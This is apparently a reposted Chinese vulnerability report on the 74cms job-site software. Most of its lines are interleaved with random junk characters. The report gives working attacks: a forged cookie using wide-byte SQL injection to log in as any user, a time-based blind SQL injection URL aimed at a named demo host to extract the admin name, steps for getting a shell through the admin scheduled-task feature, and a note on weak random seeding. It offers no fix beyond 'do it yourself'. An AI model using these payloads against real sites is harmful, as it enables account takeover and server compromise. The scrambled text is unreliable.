0x1 任意用户登录
) t! r( O7 }, A# @" ]6 ] S' ]" }/ `4 ~, E7 s( U- _: O/ l& n
0x2 盲注
1 R& I7 O$ _2 B) J
* b! _7 ?5 m) x# ^4 V0 H' [! U 0x3 后台拿shell
6 r( A- L3 l/ f+ W1 V2 R. ?6 h. z$ u' b- ]+ W6 W" Y2 b2 y
0x4 随机函数问题0 k m/ Z1 j' m) X
1 w& @* ?' k C O6 y& M( L. i
详细说明：5 n# N' q& ?+ X2 P* Z) W; s) f
7 @3 K6 O D$ z: g6 D z
0x1 任意用户登录; \8 D A, `2 q
7 t5 q9 P @6 ^. { user/login.php) ?" D9 O0 N7 T
m4 X5 O0 X) Q+ z5 S+ U* O
elseif((empty($_SESSION['uid']) || empty($_SESSION['username']) || empty($_SESSION['utype'])) && $_COOKIE['QS']['username'] && $_COOKIE['QS']['password'] && $_COOKIE['QS']['uid'])
- [6 H+ ~# Z" p9 ~7 K
: {5 j2 P6 u R' v {
' M, C+ `2 m7 W4 }: i9 p! [
2 _7 V9 ]! V6 \/ i f5 C# L if(check_cookie($_COOKIE['QS']['username'],$_COOKIE['QS']['password']))
, O3 @6 ?/ q j r( S* N# i; G
{
# p! G7 Y# D# H6 P
* U1 [ @! k; @: ?8 s9 u7 u. K7 G update_user_info($_COOKIE['QS']['uid'],false,false);
7 X# g! e& C7 O! ]
6 Z2 v7 Y' x0 V1 b header("Location:".get_member_url($_SESSION['utype']));1 x3 v/ F+ ~( c3 u& K
# q* S. G/ Z, G }
7 E4 u4 o: s5 e
) I/ Y; k4 S( i8 Z. @ else
' X0 `& v9 m& ^2 i6 C4 D4 C2 u
+ S% t0 P& J4 D$ r8 v) {- z {
1 c- i" k7 c$ T% g B9 j
! }7 I7 D: j. r5 R3 L- B# P; Z unset($_SESSION['uid'],$_SESSION['username'],$_SESSION['utype'],$_SESSION['uqqid'],$_SESSION['activate_username'],$_SESSION['activate_email'],$_SESSION["openid"]);
( v/ a2 F9 ]7 |; i& L5 z6 C2 t! @# j2 R& ~/ d0 v7 _" s
setcookie("QS[uid]","",time() - 3600,$QS_cookiepath, $QS_cookiedomain);
7 D0 K& J: B* T7 q; c
, K5 B. ]+ X) R3 P- w" X setcookie('QS[username]',"", time() - 3600,$QS_cookiepath, $QS_cookiedomain);
) L' q! e/ Z' f0 G" ?/ h
3 j& E) a1 [5 y8 ?2 O6 f setcookie('QS[password]',"", time() - 3600,$QS_cookiepath, $QS_cookiedomain);. `; N7 `/ V5 W: I
6 l0 E: J( p+ A1 I
setcookie("QS[utype]","",time() - 3600,$QS_cookiepath, $QS_cookiedomain);2 j% w. |: x8 k' n7 ~4 P
+ }( Z: P4 z3 z/ n4 t4 {+ N0 i
header("Location:".url_rewrite('QS_login'));. V" v5 z' G8 y% _/ f1 A
3 z4 z+ B8 \: k D3 c4 ]
}
6 \: Q2 S- X8 b% Q5 q. \
1 d1 P% e0 U4 c) {2 C }
: t( s2 T% k$ j5 N3 r" T9 I, M( N" w* j+ Y# ~; @% E+ B$ S$ N# x5 ^
include/fun_user.php
* k5 b) b& B- M4 I' J
; M" R- A$ ?4 _6 T, q //检测COOKIE& z c' B, c8 B, |! G5 o1 f, I
' E+ k, o& f% J1 E* F' ^5 d
function check_cookie($name,$pwd){
9 [# G3 @5 n) F7 N
5 J' N9 D( w0 z6 s* C. ?7 s global $db;
% k8 s* H$ m- U6 S: z1 q
7 }, i3 R2 o/ C8 I: y $row = $db->getone("SELECT COUNT(*) AS num FROM ".table('members')." WHERE username='{$name}' and password = '{$pwd}'");( z" g1 Y" Q+ W9 x5 ?
* V5 _6 t6 h7 D8 F5 l( U% E5 E7 x
if($row['num'] > 0)4 M& J' {' Z3 q' r/ |% [' e
8 @2 E! i# S/ ~! W a \ {
. n7 ~! Q7 K) b8 x# \' |' s# W% t1 e+ K! m$ d6 r$ M' U& N
return true;
; a( r4 m; I G( G/ h& w9 F- s+ F) P' r% v0 l$ ~% w* X
}else{+ [! m1 I( H8 Z- J: w
* [1 I- y8 {9 h9 b/ a
return false;
, Q- T, K7 Y8 U3 k, }
: T7 c( f1 m6 u/ D' T6 S3 |- L% x }
+ r$ ^& |( P- O/ ^: v6 K: S r0 |% ?# T" v V' E* V
}0 u6 s0 X1 F- j/ A2 B- \( x
1 P" }. a* @( h- Y7 D; {+ {" O7 m! z9 d
构造cookie如下
8 U# r$ `; g k9 R* S
* S: ]' [- b" w1 { QS[uid] 20 t M* x0 I8 R% f }
; {) d! J1 i& v( ~$ Z
QS[utype] 1" g- a% S0 {( }! d
' _" a6 C4 \& s4 F2 I- o- J QS[password] 111111111111111111111& N# Y5 ]/ R4 i9 g4 M
. ~+ \( k0 g! I/ n( @
QS[username]%bf%27 or 1=1 %23: l; {; |: Z/ T, Z M
: `4 }7 O! ?# _7 c" k# r" n5 D uid 为假冒用户的ID utype为用户类型password任意! A* J8 G. S4 |4 E
" }7 A; l/ O0 s) h
0x2 盲注
: e9 K) a. J5 ` ~2 P. j+ \# y+ E) L
' O; y0 n' n1 _( }; m# [0 S9 u; r/ E8 z# l http://demo32.74cms.com//resume/resume-list.php?key=test00%bf')/**/and+if((select/**/admin_name/**/from/**/qs_admin/**/limit/**/0,1)=0x61646D696E,benchmark(1000000000,(select/**/1)),1)/**/%23
# e- g3 [4 {2 y2 H7 o! p, z( y' T. @+ C& |0 H+ h1 E+ a
上面两个都是宽字节注入,如果你能猜出管理员密码，还能解出双重md5的话，还能猜出后台路径，继续看下面% e8 k" @; u2 f
0 a* i' P; K6 _, U! `5 ^ 0x3 后台拿shell
- {7 V S7 i2 K! h9 J
, |/ G% \0 k' U m 1.先关闭csrf防御功能' `6 n2 G K5 k! G7 V
( V( S& j' m( j; R3 J. P: o; \; L
2.在hr工具箱中添加一个伪造的doc，内容为，记下路径data/hrtools/2012/06/1339941553308.doc% _) r% \3 N0 o& ~
! T2 J4 Z* G5 Q% y* H9 [& j
3.在工具-计划任务中添加任务，脚本任务填../../data/hrtools/2012/06/1339941553308.doc' p8 d/ E# E0 j
8 j. Z- [% A$ t) Q: Q 4.然后执行1 r; i7 p' u1 {+ }, S
$ V% e3 X, T$ n# {) s
0x4 随机函数问题(几乎可以无视，纯属个人YY); w; k& }- L [) ^+ B
2 X I* t- G5 y( u# C' S! ~6 t 在admin_common.fun.inc.php中有个$QS_pwdhash是在安装的时候赋值的，只要能猜出就可已不用解双重md5了。
) i$ C# e1 g4 T4 ~* @2 ]; V4 h2 M J
这个$QS_pwdhash是由randstr生成
. @$ b. r. e+ O9 x2 W9 K0 a1 J: a
function randstr($length=6)
- Q" r! j: x p' c8 I6 _" k
. o( t; G' f. o4 F5 ~. e* `* N {1 Y) C3 h# {9 I7 M0 s
2 c" h5 Y' `9 L( D9 r/ Q
$hash='';6 c. u3 f7 l& L# m4 k6 f! B0 }$ D V
; E* c7 v8 o. Q' m9 z1 u) \9 F4 v" X $chars= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz@#!~?:-=';7 }6 l3 v) ~: F; A7 }; q: P
4 ~4 O: ?/ H* z$ ]7 s
$max=strlen($chars)-1;
' W, X: j( ?3 W( w
( i+ j0 O" T& u8 c mt_srand((double)microtime()*1000000);7 i: O6 v; Y/ r4 d7 t! D* j2 L
y: y8 h# C) W U* H4 U for($i=0;$i<$length;$i++) {
4 [9 v0 |3 g; _0 m+ m2 p d+ _* e' f) A* \9 @( K
$hash.=$chars[mt_rand(0,$max)];1 e, G( S0 ^0 ]2 _) M6 |
; U% L6 a8 a$ u. V3 [- m1 U2 b0 j }* `$ j8 D. }" i: ]
Y! ^+ Q7 G# c( p$ x8 A! t2 {) I
return $hash;
" ~2 E* {" z6 \0 }. x6 p3 }: U; z5 N# ~/ m" ~" p2 }0 v. g. y4 M
}; V, ?6 I- E6 r
9 C; e |2 m1 @7 E7 |/ y 生成长度为6的随机数，mt_srand()播种一样，就会得到一样的随机数，所以我们最多要猜1000000次就可以了(蛋疼)/ V* @2 |- I: Q/ X
3 ~ T5 F9 {+ C6 B 漏洞证明：
) B J+ N( Y# i) h3 [) V3 G: D I
. U/ x: d, L+ @! r 修复方案：6 W# e* v3 K9 i9 c
/ j: S9 @) ? w2 L2 R. m H
do it yourself~
0 b6 `' s4 Q3 @; P
' }# g( b5 t2 M解决一切网站安全，湖盟云防火墙：hnhack.com |
